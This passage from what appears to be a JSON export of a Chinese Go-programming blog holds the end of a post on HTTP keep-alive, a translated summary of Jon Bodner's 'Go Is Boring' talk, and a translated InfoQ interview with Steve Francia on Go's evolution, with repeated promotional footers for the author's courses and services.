我们看到client同时支持与多个server进行通信，并针对每个server可以使用keep-alive的连接进行高效率通信。\n本文涉及源代码可以在这里(https://github.com/bigwhite/experiments/tree/master/http-keep-alive)下载。\n“Gopher部落”知识星球开球了！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/01/08/understand-how-http-package-deal-with-keep-alive-connection/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-how-http-package-deal-with-keep-alive-connection-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eHTTP是如今互联网的基础协议，承载了互联网上的绝大部分应用层流量，并且从目前趋势来看，在未来10年，http仍然会是互联网应用的主要协议。\u003ca href=\"https://www.imooc.com/read/87/article/2341\"\u003eGo语言自带“电池”\u003c/a\u003e，基于Go标准库我们可以轻松建立起一个http server处理客户端http请求，或创建一个http client向服务端发送http请求。\u003c/p\u003e","title":"通过实例理解Go标准库http包是如何处理keep-alive连接的"},{"content":"\n无聊是一种很奇妙的状态，它可以稀释掉人类的一切情感。- 《古董局中局》马伯庸\n在GopherCon 2020技术大会上(线上虚拟大会)，Jon Bodner为全球gopher们做了主题为“Go Is Boring”的精彩演讲(关注公众号iamtonybai，发送gophercon2020即可得到GopherCon 2020技术大会幻灯片资料)。\n其实早在2020年6月，Jon Bodner就发表过类似主题的文章《Go is Boring…And That’s Fantastic!》。其副标题为：深入探究世界为何依赖简单，可靠且易于理解的技术。本文将在这篇文章的基础上，结合演讲内容做综合翻译与整理，为大家呈现Jon Bodner这个资深程序员对Go语言哲学的理解。\n1. 大多编程语言都在堆砌新功能特性 我从事专业软件工程师已有将近23年的时间，而我编写程序的时间也已有38年了。在这个过程中，我使用过很多编程语言。我喜欢编程语言，并且了解它们的新功能特性以及与之前的语言相比所进行的改动。\n如果看一下过去十年的编程语言，您会发现很多变化。C++，Java，Python和JavaScript增加了许多新功能，而一些新编程语言，诸如Rust和Swift等自诞生以来也发生了显著的变化。这一切都非常令人兴奋，但同时也会让你产生一种感觉：有时候，您永远无法跟上这些语言的所有想法。\n图：C到C++，再到更复杂的C++\n图：Java到Java2，再到更复杂的Java3？\nJavaScript、Python、Rust、Swift、… …\n2. Go没有这么多功能特性 接下来轮到Go了！考量Go的最好方法是思考它没有的功能特性：\nGo没有虚拟机或基于LLVM的编译器； Go没有异常(exception)； Go没有用户定义的实现继承； Go不支持重载函数、方法或运算符； Go没有不变量； Go没有枚举； Go没有泛型； 自2012年Go 1.0发布以来，Go并未添加任何主要功能特性。 Go令人兴奋的一件事是通过goroutine，channel和select原生支持并发。但是，它基于CSP的思想，即Communicating Sequential Processes, 要知道，这可是一个早在1978年就被提出的思想。\n这听起来不像是21世纪的编程语言，对吗？\n然而，根据Stack Overflow的说法，Go是第三名程序员最想要学习的语言，而且（也许并非巧合）也是第三名最高薪的语言。硅谷的每个创业公司都在使用Go来构建其基础架构。Go语言编写了Docker，Kubernetes，etcd，Terraform，Vault，Consul，Traefik和许多其他前沿项目。那么问题来了？为什么每个人都对这种无聊的语言感兴趣呢？\n3. 为什么每个人都对这种无聊的语言感兴趣呢？ 在回答这个问题之前，让我们先退一步。\n这是希腊Argolis的Arkadiko桥，它是世界上最古老的桥梁，至今已有3000多年的历史。令人惊讶的是，它仍在使用中。\n现在，我们为什么要关心一座古老的桥呢？这是因为软件开发有一个普遍的、但软件工程师们却不喜欢过多谈论的真理：\n我们真的不擅长编写软件。\n我指的不仅仅是办公室里的那个人，你的经理在紧要关头派他去减少bug的数量。我指的是每个人–我，你，还有你能想到的所有著名的开发者。\n但那些设计和建造桥梁的人，他们很擅长建桥。桥梁能按时、按预算建成，并能持续服务几十、几百、甚至几千年。造桥，如果你仔细想想，还真有点厉害。而桥梁是这样一种常见的现象，它们也是非常无聊的。当一座桥正常工作的时候，没有人惊奇，而当软件正常工作的时候，大家都有点惊奇。\n不幸的是，这个世界非常依赖软件。它对软件的依赖甚至可能比对桥梁的依赖更甚。所以，我们必须以比造桥更快的速度更好地编写软件。\n4. 这些年我们对编写软件的了解 在过去的60年中，我们在编写程序方面已经学到了一些东西，其中有很多普遍的共识：\n早发现问题比晚发现问题要好。 人们在管理程序的内存方面很糟糕。 代码评审有助于发现bug。 在任何一个超过一个人的项目中，沟通成本占主导地位。 5. 硬件也不能拯救我们 我们可以把这几件我们知道的事情和另一个已经确定下来的事实结合起来：电脑的速度不再快了。至少不像以前那样了。在20世纪80年代和90年代，CPU每1-2年就会快一倍。但现在情况变了。\n当你看单核性能时，2019年最快的酷睿i9的速度不到2011年最快的酷睿i7的两倍。我们没有变得更快，而是给CPU增加了更多的核心。当你看多核性能时，它更好一些，略微快了2倍多。\n限制我们的不仅仅是CPU性能。Forrest Smith写了一篇关于RAM和RAM访问模式对性能影响的精彩博文。其要点如下：\nRAM比CPU要慢得多，而且差距并没有得到改善，尽管CPU的速度并没有变快多少。 RAM可能是随机访问，但如果你真的这样使用，它的速度很慢。在现代英特尔CPU上，如果数据是顺序的，你可以每秒从RAM中读取40千兆字节左右。如果你进行随机读取，每秒不到半GB。 有很多指针的代码特别慢。引用Forrest的话。“按顺序将指针后面的值相加的速度低于1GB/秒。随机访问，两次错过缓存，运行速度只有0.1 GB/s。指针追逐的速度要慢10到20倍”。 6. 无聊带来新的惊喜，我们再来看看Go 鉴于我们知道的这些关于如何构建软件的几个宝贵的东西和我们现有的硬件状况，我们再来重新审视一下Go语言。\n1) Go和软件 尽早发现问题 Go语言可能缺乏功能特性，但它却有一套很棒的工具。Go的编译器速度很快，这种快速的编译速度被Go团队认为是一个特点。它可以让你快速查看你的代码是否能编译，如果不能，它可以让你看到问题所在。测试被内置在标准库中，以鼓励开发者测试他们的代码并发现问题。基准测试(benchmark)、剖析(profiling)和竞态检查(-race)也是开箱即用的。很少有语言能提供这些工具，它们能让你更容易快速地发现问题。\n内存管理 众所周知，Go有一个垃圾收集器。你不用担心跟踪内存，这是一件很奇妙的事情。在编译语言中，垃圾回收是很罕见的。Rust的borrow checker是获得高性能和内存管理的一个迷人的方法，但它实际上把开发者变成了垃圾收集器，这可能很难正确使用；如果你犯了错误，忘记将一些引用声明为弱引用，Swift的ARC仍然会泄漏内存。现在，Go的GC的性能不如这些半自动系统，有些情况下，你需要额外的速度，但在大多数情况下，它肯定是足够的。\n代码评审 如果代码评审做得好，代码评审就很重要。为了进行有效的代码评审，你需要确保评审人员专注于正确的事情。低质量的代码评审会把时间花在格式化等事情上。Go在这里提供了很大帮助，因为在评审Go代码时没有有关代码格式的争论，因为所有的Go代码都是按照go fmt的标准代码格式进行格式化。\n而代码评审是一个双向的过程。如果你想评审的效果好，你需要确保其他人能够理解你的代码。Go程序应该是简单的，使用一些很好理解的结构，这些结构自语言发布以来就没有改变过。因为没有异常(exception)，没有面向方面的编程(AOP)，没有继承和方法重写(override)，也没有重载(overloading)，所以很清楚什么代码在调用什么，在哪里返回值。如果你在Go中减少包级变量的使用，那就很容易看到数据到底是如何被修改的。由于Go的变化很小，你可以避免熔岩流反模式，你可以根据代码中使用的语法特性被引入到Go中的时间点来判断它到底有多老。\n沟通成本 Go是如何帮助解决这个问题的呢？我们已经讨论过Go的简单性、稳定性和标准格式化如何让你更容易地传达你的代码正在做什么。虽然这只是其中的一部分，但还有其他的东西。Go的隐式接口帮助团队编写解耦的代码。它们由调用代码定义，以准确描述需要什么功能，这就明确了你的代码在做什么。\n2) Go和硬件 让Go成为编译语言的决定得到了回报。当CPU每天都在变快时，在虚拟机(译注：这里所谓的虚拟机是指动态语言的解释器或像jvm之类的字节码运行程序)中运行的解释语言似乎是个好主意。如果你的程序不够快，只要再等一年就可以了。但现在这已经行不通了。编译成原生代码比最新的虚拟机技巧少了很多乐趣，但它能带来很大的性能优势。\n让我们用The Benchmark Game的微基准来比较Go与一些在虚拟机中运行的语言的性能。首先我们来看看Python和Ruby与Go的比较。任何小于100%的百分比都意味着比Go快，大于100%意味着慢：\n这里有很多红色(意味着比Go慢的测试)。有一个基准测试是Python更快 (奇怪的是，它不仅是Go的两倍，而且在这个测试中比其他所有语言都快)，而Ruby则没有一个测试比Go快。除了那一个情况，这两种语言产生的代码都比Go慢了17%到60多倍。\n现在让我们再看看Java和JavaScript与Go的比较：\n这两门语言与Go的性能更为接近。JavaScript在一个基准上比Go快，在其他基准上比Go慢，但JavaScript最坏的情况是比Go慢了三倍左右。\nJava和Go的性能相当接近。Java在四种情况下比Go快，在两种情况下差不多，在四种情况下比Go慢。Go做的最差的情况是比Java慢三倍左右，Go做的最好的情况是比Java快50%左右。\n我们看到的是，唯一能跟上Go的虚拟机是Java的。Hotspot是令人惊异的技术，但你需要一个世界上最好的工程软件，才能与一个优先考虑编译速度而非优化的编译器达到平衡，这说明了一些问题。而且你要为这种惊人的技术付出代价。Java应用程序的内存使用量要比Go应用程序大出很多很多倍。\n还有第二个优势。垃圾收集器管理的垃圾都是不使用的指针。与隐藏指针的语言不同，Go给了你控制权。它让你避开指针，并以一种允许快速访问RAM的方式布局你的数据结构。这也让Go可以使用更简单的垃圾收集器，因为Go程序只是简单地制造更少的垃圾。枯燥无味的工作就是少了。\n而我们都知道，CPU正在用更多的内核来弥补速度提升的不足。所以，使用一种能够利用这一点的语言是很好的。这就是Go内置并发支持的目的。有了对并发的语言级支持和一个在多个线程中调度goroutine的运行时库，意味着当你有多个CPU核时，这些线程可以被自然地映射到这些核上。\n7. 我不想要我没有得到的那些功能特性 我们已经看到，Go专注于我们所知道的使创建软件更容易、更适合现代计算机的内存和CPU架构的功能和工具。但是其他语言有而Go没有的功能特性呢？也许Go的开发者错过了，那些Go没有的特性能帮助开发者写出了更少错误、更容易维护的代码？好吧，研究人员的研究结果告诉我们，事实并非如此。\n2017年一篇名为《Github中编程语言与代码质量的大规模研究》的论文，该论文研究了17种语言的729个项目、8000万行代码、2.9万名作者、150万次提交，并试图回答这个问题：编程语言对软件质量的影响是什么？他们的答案是，差别不大。\n“值得注意的是，这些因语言设计而产生的微弱影响，绝大多数是由项目规模、团队规模和提交规模等过程因素主导的。”\n另一组研究人员对这些数据进行了第二次研究，并在2019年做了一项名为“关于编程语言对代码质量的影响”的论文。他们的发现更令人惊讶：\n“根据手头的数据，不仅无法建立编程语言和代码质量之间的因果关系，甚至它们之间的相关性也被证明是值得怀疑的。”\n如果编程语言的选择并不重要，那为什么要选择Go？这些研究表明的是，流程很重要。工具、测试、性能和长期维护的便利性比时髦的功能特性更重要。如果使用得当，Go内置的工具支持更好的流程，同时提供久经考验的功能特性。\n这并不是说新功能不好。在过去的几个世纪和几千年里，桥梁建设技术当然在不断进步。但是，你想成为第一个走过一座用全新的理念和未经测试的技术建造的桥梁吗？你会想等一下，让人们测试一下再采用。\n软件也是如此。如果我们要建立像桥梁一样可靠的软件基础架构，我们就需要使用像物理基础架构一样经过充分测试和理解的软件技术。这就是为什么Go主要使用20世纪70年代设计的功能特性，我们知道它们是有效的。\nGo很无聊….其实它妙不可言。让我们都来用它来构建明天的精彩应用吧。\n“Gopher部落”知识星球开球了！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/01/07/go-is-boring/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-is-boring/go-is-boring-0.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e无聊是一种很奇妙的状态，它可以稀释掉人类的一切情感。- 《古董局中局》马伯庸\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在\u003ca href=\"https://www.gophercon.com/\"\u003eGopherCon 2020技术大会上\u003c/a\u003e(线上虚拟大会)，Jon Bodner为全球gopher们做了主题为“Go Is Boring”的精彩演讲(关注公众号\u003cstrong\u003eiamtonybai\u003c/strong\u003e，发送\u003cstrong\u003egophercon2020\u003c/strong\u003e即可得到GopherCon 2020技术大会幻灯片资料)。\u003c/p\u003e","title":"Go语言很无聊…其实它妙不可言！[译]"},{"content":"\n本文翻译自《Go Language at 13 Years: Ecosystem, Evolution, and Future in Conversation with Steve Francia》。\n译注：Go开源于2009年，如果从那时算起，Go才11岁；但在Go核心开发团队眼中，Go的真正诞生年份是2007年，至今13个年头了。关于Go的演化简史可以参见我的专栏文章：《Go语言的前生今世》。\n本文要点：\nGo的简单性让你可以快速上手使用它–你可以在一个下午就消化掉整个Go语言规范； 作者认为Go是当今最好的现代语言之一（其他的还包括：Dart、Flutter和Rust）； Go的未来是由它的开源社区决定的，它对所有的功能建议进行讨论和辩论。除非达成明确的共识，否则该功能不会被实现。 社区的规模大约每18个月翻一番。 最初，Go的早期采用者多来自python或ruby等动态语言的开发人员，现在随着语言的成熟，来自Java、.NET和C++程序员也开始接纳并使用Go。 在充满挑战的一年里，社区适应了相互支持，出现了多个meetup，并出现了新的资源。 编程语言的历史只朝着一个方向发展，每一种新的语言的出现都让事情都变得越来越复杂，越来越抽象。然而，就在十几年前，Go在Google诞生了。这种编程语言走的是另外一条路，它把赌注押在了简单和精心的设计和实现上。这个配方一直保留到今天，你可以直接开始写Go代码，没有太大的障碍。当你想到现代软件的大部分流行和可靠的作品都是用Go编写的，比如Docker、Kubernetes、Prometheus等，这就足以让你印象深刻。这个列表还在持续增加。为了了解Go从哪里来，更重要的是它要往哪里去，InfoQ联系了Google负责战略和产品的Go编程语言团队核心成员Steve Francia(译注：他也是知名静态站点生成工具gohugo的作者)。\nInfoQ：非常感谢您抽出宝贵时间回答读者的几个问题。我们能否首先请您介绍一下自己并描述您在Google的角色和日常工作？\nSteve Francia：我是Steve Francia，是Google Go编程语言团队的核心成员，负责产品和策略。\nInfoQ：您将技术挑战和工程挑战归因于十三年前点燃了Go的火花。还有其他吗？当时Google的官方编程语言是什么，缺少什么？\nFrancia：创建Go的主要动机是认识到我们的系统已经变得越来越复杂。为了跟上“Google规模”的指数增长，我们设计了复杂的系统来满足我们的需求。随着时间的流逝，我们又在这些基础系统/库和语言的基础上构建了新的复杂系统。人们通常不会想到复杂性的隐性成本。事实是，代码被读取的次数比其编写的次数多。复杂性给团队效率带来了极大的负担。相反，Go很简单。你仅需要花一个下午的时间来学习。Go代码非常简单易读。这种简单性使团队能够以前所未有的方式进行协作。\nInfoQ：这一切是如何开始的？是自上而下的请求（管理人员要求一种语言来满足需求），还是自下而上的请求？来自Google的20％著名的创新？工程师尽其所能-解决问题？\nFrancia：没人要求过。这实际上不是一个20％的项目。是一次谈话导致一个研究项目获得了关注，并且被广泛采用，超出了所有人的想象。当然，Google从上到下都对寻找降低复杂性和提高生产力的方法感兴趣。\nInfoQ：在起步阶段，有一种说法是，如果您在发布之日不为自己的产品感到羞耻，那么您可能为时已晚。Go于2011年发布1.0版本，当时Google为了支持它，将其添加到Google App Engine中，YouTube也开始使用Vitess(译注：一种Go实现的Mysql前置代理，用于建立mysql集群）。Go在发布时就已经准备好投入生产了吗？还是人们努力用它来构建产品？\nFrancia：Go发布的恰逢其时。有很多Go的基础设计是正确的，但是今天Go中有很多东西不在早期版本中-这在开源中很常见。最明显的是，当时没有“go”命令，所以在如今的Go版本中可以很自然做的事情（例如“go build”）在早期则要困难得多。\n提前发布的最大好处是它使社区能够参与Go的设计过程。社区为Go的成功做出了很大的贡献。\n我们的Go的第一个公开发行版就可以应用于生产环境了，这表现在用Go构建的程序在生产环境中的高性能和稳定的，但是Go仍然缺乏很多完善之处，Go团队和社区随后可以共同塑造和打磨。\nInfoQ：回顾一下，构建Go时需要解决的最技术性问题是什么？\nFrancia：这个问题很难讲。这有点暗示我们已经完成了Go。我认为Go项目多年来解决了许多“最棘手”的技术问题，我们将继续解决非常具有挑战性的技术问题。我们目前正在努力为Go添加泛型支持。添加泛型本身就是一项艰巨的任务，但是我们也希望它仍然看起来像Go，这意味着使用泛型可以提高可读性。这是一件非常困难的事情，而且我们的一些关键人员已经思考了十多年。\n在过去的几年中，我们解决了有关如何管理Go依赖的一些最大挑战。我们在Go中添加了module支持，但却没有引入菱形依赖项或依赖项地狱，这是以前的编程语言所没能做到过的。\n另一个挑战是Go在每个版本中持续改进其性能。其体现之一是将垃圾收集的暂停时间延迟(STW)从几秒减少到几毫秒再到几微秒。这对于Go而言是具有变革性的，对于其在服务中的成功至关重要。\nInfoQ：如果您必须重新实现一次Go，您会采取什么不同的措施？为什么？\nFrancia：借助事后观察的优势，作为今天帮助塑造Go的人，但在最初的几年中我并没有出现，我真的不会改变。这是一种美丽的，经过深思熟虑的语言，虽然它并不完美，但使用起来非常好。\n我希望我们进行一些小调整，但讨论它们会把太多的焦点放在这些微不足道的事情上。相反，如果我们可以重来一次，我希望我们会犯同样的错误，只是更早而已。Go的发展速度非常快，大约每18个月，Go的用户群的规模就会增加一倍。这意味着，今天与五年前相比，一个变化会影响大约10倍的人。\n今天的Go依赖管理机制非常棒，但它可能比预期的晚了五年。这种延误使本来已经很困难的问题变得更加困难，结果给社区造成了不必要的压力。\n同样，我们现在正在努力进行的重大语言更改是泛型。这将对社区产生重大影响。如果我们能够重新做一遍，而事后才明白此功能的重要性，我希望我们早在七年前就可以认真地开始这项工作。\nInfoQ：Go编程语言还缺少什么？\nFrancia：作为一种语言，泛型确实是我们所缺少的唯一主要功能，正如我之前所说，我们目前正专注于此。现在有一个支持新泛型语法的playground，您可以在其中使用新泛型语法原型并提供反馈。\n除此之外，大部分要做的工作是改进和完善，主要是在语言本身的周边。对于工具，我们计划改善创作，发布和编辑体验。我们还致力于帮助人们做出有关其依赖关系的更好决策。\nInfoQ：Go始于Google，但现在是开源的。如今，谁才是幕后的决策人呢？\nFrancia：2020年11月，Go庆祝了自己开源11周年。Go有一个定义明确的提案流程决定了整个项目的方向。想法和经验来自社区的每个角落。它们作为提案发布到Github上的项目中。从那里社区可以评估他们对提案的看法，并帮助进一步完善提案。提案委员会每周开会，审查未完成的提案。目前，委员会有六名成员，其中四名是Google员工。但决策几乎总是来自社区对提案问题本身的讨论。除非问题讨论明确同意，否则该提议将被拒绝。通过设计和意图，Go的更改会在公开环境中缓慢而有意识地发生。该过程旨在加强这一点。\nInfoQ：随着Go的普及，Go的生态系统如何演变？Go最初主要专注于网络和基础架构。这些年来其用法是如何演变的？\nFrancia：关于Go的一个有趣的事情是Go语言走了一条与其创始人最初计划不同的途径。Go语言之父们创建Go的最初目的是构建流行的高性能服务器端编程语言（当时为Java和C++）的替代品。创始人们认为，一种简单的语言可以在保持性能的同时，极大地提高此类开发人员的生产率。\n尽管Go在争取到了一些Java和C++工程师的支持和早期采纳，但Go的大部分早期采用者都来自动态语言程序员群体，这些语言来自Python，Javascript，Ruby和PHP等语言。事实证明，Go最初对动态语言类的吸引力更大，动态语言类看到了在保持生产力的的同时大幅提高性能的机会。\n随着Go及其生态系统的成熟，Go的采用已扩展到企业中，并且Java，C++和C＃工程师的最初受众也加快了他们对Go的采用。\nGo的独特魅力之一是，它是一种小语言，其大多数创新就发生在其生态系统中。我们一直对社区采用Go的创造性和多样化方向感到惊讶。Go的优势仍然是Go十分适合的云/服务器应用程序，但事实证明Go确实也非常适合许多其他类型的应用程序。DevOps / SRE，CLI，Web应用程序和数据处理已全部转到Go。现在，我们看到Go用于微控制器，机器人技术，游戏等。\nInfoQ：Kubernetes，Docker和Prometheus都是用Go编写的。还有其他用该语言编写的工具吗？\nFrancia：这里能列出的工具太多了。我个人经常使用的一些比较流行的工具是：\nHugo，一个静态网站生成器（我几年前创建的）。 Syncthing，一种分布式同步工具（请考虑Dropbox / Google驱动器，但不带服务器）。 服务网格Istio Terraform，基础架构即代码 InfluxDB，时间序列数据库 在Awesome Go上可以找到更详细的列表。\nInfoQ：在网络和系统编程方面，Go是高效且可靠的，但是Go所不适合的领域是什么呢？\nFrancia：对我自己来说，今天只有三种现代语言。每种语言都经过精心设计，以解决前代语言的不同缺点，从而使每种语言在不同方面都具有出色的表现，并且是其他语言的很好补充。这是我看这三种语言的方式：\nGo是一种很好的默认语言。它是系统，服务器，API，守护程序，数据库，网站，工具等的理想选择。Go达到了性能与开发人员生产力之间的关键平衡。 Dart + Flutter，用于基于GUI的应用程序（移动+桌面）。Flutter在编写一个可以在多种操作系统和多种格式下工作的客户端应用程序的想法方面表现出色。 需要精细控制时可以使用Rust。对于低级编程、内核之类的东西，Rust提供了更高的精度，但代价是增加了复杂性。有时候，这种权衡是有意义的，而当这样做时，Rust是一个不错的选择。 我认为，未来10年以上的大多数“现代”工作负载将以其中一种语言编写。当然，总会有需要支持的旧工作负载，因此请不要认为我在这里的观点暗示了任何语言的消亡。肯定还存在在某些领域中，诸如R，SQL甚至Javascript之类的利基语言可以发挥作用。\nInfoQ：史蒂夫，我记得几年前在布达佩斯参加了一次会议，在那里您举办了有关使用Go的研讨会。我有种感觉，您会更多向对手推销并建议Go，而不是向朋友-为什么？\nFrancia：那是一次很棒的会议，也是我第一次在布达佩斯。从那以后我已经回来过几次了，这是我最喜欢的城市之一，如此充满魅力。\n许多年前，我在MongoDB工作。我的角色是领导开发人员体验团队，这意味着我应对与用户相关的一切负责。其中包括文档，网站，开发人员关系，MongoDB界面，以及设计和设计我们与语言和框架的集成。这是一个非常广泛且具有挑战性的角色，需要我的团队使用10多种不同的编程语言（以及几种人类语言）进行编写。到那时为止，我在职业生涯中一直使用多种语言，并以能够为我们的每种语言做出贡献为目标。当时，我认为自己是一个会说多种语言的人，并且很高兴能借此机会扩展自己的经验并了解这些不同的语言。\n首先，我们专注于支持最受欢迎的语言，而我一直在寻找“下一种语言”可能是什么。由于马丁·奥德斯基（Martin Odersky）在Scala上的免费在线课程，我学到的第一门“下一门语言”是Scala。我喜欢学习语言，并且一直在搜寻。我尝试的下一种语言是Go。我恋爱了。就像有人为我设计了一种语言。我花了大量的空闲时间，大部分时间每天花3个小时以上，坐火车去曼哈顿，写Go软件。这就是Hugo，Cobra，Viper，Afero和许多其他库。\n在此过程中，我了解到我不是一个会说多种语言的人，只是我还没有发现自己的语言。从我第一次使用Go的那一刻起，我就沉浸在Go社区和生态系统中，在世界各地进行培训，在许多会议上发表演讲并组织一些活动。在过去的七年中，我一直在告诉任何尝试了解Go语言的人，在此过程中，我以某种方式说服了Go团队和Google让我加入他们。除此之外，我还帮助了无数其他人讲述他们的故事，其中许多故事都在Go.dev上。\nInfoQ：Go语言才13岁，所以还是个少年(译注：在编程语言领域)。你怎么看待这件事？它是可靠的类型，它使用户的生活变得更轻松，还是仍然叛逆而喜怒无常，使操作变得棘手？\nFrancia：作为用户，我认为Go从来没有比现在更好。向module的迁移非常顺利。Go非常稳定，性能不断提高。Go工具也越来越好。Go.dev是一个很棒的一站式资源，它将来自整个社区的所有最终用户的参考资料，教程，文档和库集中在一个地方。我可能有偏见，但是作为Go的用户，在加入Go团队很久之前，我对Go的现状和发展方向感到非常满意。\nInfoQ：对于Go开发要使用的工具箱，您会推荐哪些？\nFrancia：Go的一大优点是，它真正满足了您的需求。Go开发在Mac，Linux或Windows上几乎完全相同，并且Go的交叉编译使其可为任何架构和OS轻松构建。随着gopls语言服务器的引入，所有编辑器和IDE都将具有很棒的编写Go语言的体验。Go发行版中附带的Go工具包含开发人员开始使用该语言所需的一切。\n尽管我主要在Windows上使用VSCodium或Vim进行开发，但我将时间分配在这三个OS之间。我经常使用Cobra工具和库，但是这些天我个人对Go的使用主要是构建一些小的CLI应用程序和实用程序来自动化或简化任务，因此非常适合。\nInfoQ：对于从零开始学习Go的程序员来说，Go的学习曲线有多陡峭？您对新手的建议是什么？\nFrancia：正如我之前提到的，Go的最大优势之一就是入门非常容易。人们常常会感到震惊，但这确实是事实-您可以在一个下午阅读并消化整个Go规范。您可以在周末学习Go。在几周内，您将精通Go语言。有些甚至比这快。如果您以其他几种语言的经验来学习该语言，则可以很快选择Go。\n当我们与采用Go的公司会面时，这是他们告诉我们的最一致的内容之一。Go非常容易上手。\nInfoQ：对于新手而言，学习Go的前提是什么？\nFrancia：老实说，只是时间和兴趣。Go适合所有人。来自社区的go.dev上有一些很棒的入门资源。\nInfoQ：Go的发展让所有人（包括您自己）都感到惊讶。在接下来的十年中，您认为Go会如何发展？\nFrancia：如果回顾一下计算机编程语言的历史，我们会发现绝大多数主流编程语言将在其15至20年间大步前进。Java，Python，Ruby，JavaScript和许多其他语言都是如此。自诞生以来的13年中，Go奠定了坚实的基础，并正在成为主流语言。Go的杰出之处在于可以同时提供高性能和高开发人员生产力。\n在接下来的10年中，向云计算的大规模转变只会继续加速。公司希望缩短上市时间，降低运营成本并提高安全性。迁移的第一阶段将主要是将其现有工作负载迁移到云中。Go在这里起着关键的支持作用，提供API桥接能力，以使“传统”工作负载能够在云服务上运行。第二个更重要的阶段将是行业转变为利用独特的云产品，逐渐转向云原生应用程序开发。在这些情况下，Go是明智的选择。\n所有云提供商都在Go中编写其关键基础架构。随着公司寻求现代化，有哪家公司不想使用一种安全可靠的语言以及经过十多年来来自全球一些最大公司的关键工作负载的测试，既可以降低开发成本，又可以大大降低其运营成本的语言呢？简而言之，Go将成为云开发的代名词，而云开发将发展成为该行业绝大多数的业务。\nInfoQ：我应该问你什么，但没有问？\nFrancia：谈论一种语言而不谈论其社区是不可能的。实际上，Go之所以存在，是因为全世界有数百万人使用Go开发。Go社区强大，热情且多样化。与所有人一样，今年Go社区进行了调整，并且也做了调整。在世界各地，gopher聚在一起并互相帮助。召开了30次（虚拟）会议。数百次聚会（主要是虚拟聚会）以及/r/golang和Gopher slack的参与度显着增长。我们启动了两个值得注意的新的社区主导程序，以帮助新的Gophers play-with-go.dev和mentoring.gobridge.org。\n我们感谢世界上所有为Go蓬勃发展的生态系统做出贡献的Gopher，并共同期待Go的美好未来。\n“Gopher部落”，新年新气象 “Gopher部落”正式转正（从试运营星球变成了正式星球）！“gopher部落\n”旨在打造一个精品Go学习和进阶社群，目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部\u0026gt;落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 考虑到部落尚处于推广期，这里仍然为大家准备了新人优惠券，虽然优惠幅度有所下降，但依然物超所值，早到早享哦！\n感谢大家对本星球的支持！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 